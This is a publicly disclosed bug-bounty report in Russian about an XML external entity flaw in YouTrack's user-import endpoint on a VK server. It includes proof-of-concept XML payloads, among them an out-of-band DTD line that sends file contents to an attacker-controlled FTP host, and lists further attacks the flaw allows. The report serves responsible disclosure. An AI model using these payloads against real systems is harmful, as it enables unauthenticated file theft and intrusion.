HexBrain

VK.com · Report #114476

Внедрение внешних сущностей в функционале импорта пользователей YouTrack

Validstatus
11upvotes
18 Mar 2016disclosed

How it was found

Уязвимость существует из-за возможности использования внешних сущностей XML разметки в функционале импорта пользователей YouTrack. Веб-приложение доступно по адресу youtrack.vk-cdn.net Исходя из документации (https://confluence.jetbrains.com/display/YTD6/Import+Users) поддерживает импорт данных методом PUT в формате XML. Стандарт XML-документа поддерживает включение секции DTD, а секции DTD, в свою очередь могут подключать к документу дополнительные компоненты, так называемые внешние сущности. Внешние сущности являются отдельными файлами и задаются с помощью ключевого слова SYSTEM и URI. Если XML-парсер невалидирующий, он может просто загрузить внешнюю сущность и подключить к содержимому XML-документа. Злоумышленник может подставить в URI внешней сущности file URI, указывающий на аппаратное устройство ЭВМ, или на локальный файл в системе. Сервер попытается прочитать файл по указанному URI и включить его содержимое в XML. Минимальный запрос будет выглядить следующим образом:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<list>
  <user login="lenin" fullName="Ulyanov Vladimir Ilyich" email="[email protected]"/>
</list>

Но для добавления пользователя необходимо иметь учетную запись и быть администратором системы. Однако, внедрив внешнюю сущность, XML-данные пройдут валидацию, и запрос будет выполнен, несмотря на предупреждение об отсутствии аутентификации. Пример XML-запроса представлен ниже:

<?xml version="1.0"?>
<!DOCTYPE list [
<!ENTITY % xxe SYSTEM "http://myserver/xxe-test">
%xxe;
]>
<list></list>

В этом случае, сервер получит GET-запрос

GET /xxe-test HTTP/1.1
HOST: myserver
USER_AGENT: Java/1.8.0_45
ACCEPT: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
CONNECTION: keep-alive

Источник запроса:

IP: 87.240.169.26
HOSTNAME: srv26-169-240-87.vk.com

что свидетельствует уязвимости.

Внедрив вместо http://myserver/xxe-test собственную секцию DTD, с подобным содержимым

<!ENTITY % c "<!ENTITY &#37; rrr SYSTEM 'ftp://myhost:1935/%b;'>">%c;

мы получим возможность отправлять содержимое файлов с помощью протокола FTP (исследование компании OnSec http://lab.onsec.ru/2014/06/xxe-oob-exploitation-at-java-17.html) Так как веб-приложение работает на языке Java (о чем говорит заголовок user-agent), мы так же можем получать содержимое директорий из-за особенностей работы Java.

При использовании такого механизма возможны такие виды атак, как например, как отказ в обслуживании (DoS) как сам сервер, так и другие системы, чтение произвольных файлов, сканирование TCP-портов (даже в обход фаервола), кража материалов NTLM-аутентификации, инициированная через UNC-обращение к системе, находящейся под контролем злоумышленника и т.п.

Эксплуатация в целях демонстрации доступна по следующей ссылке: https://youtu.be/0gMTwPU-BQc

Данная уязвимость имеет статус 0day, разработчики продукта YouTrack (компания Jetbrains) получит соответствующие уведомления.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original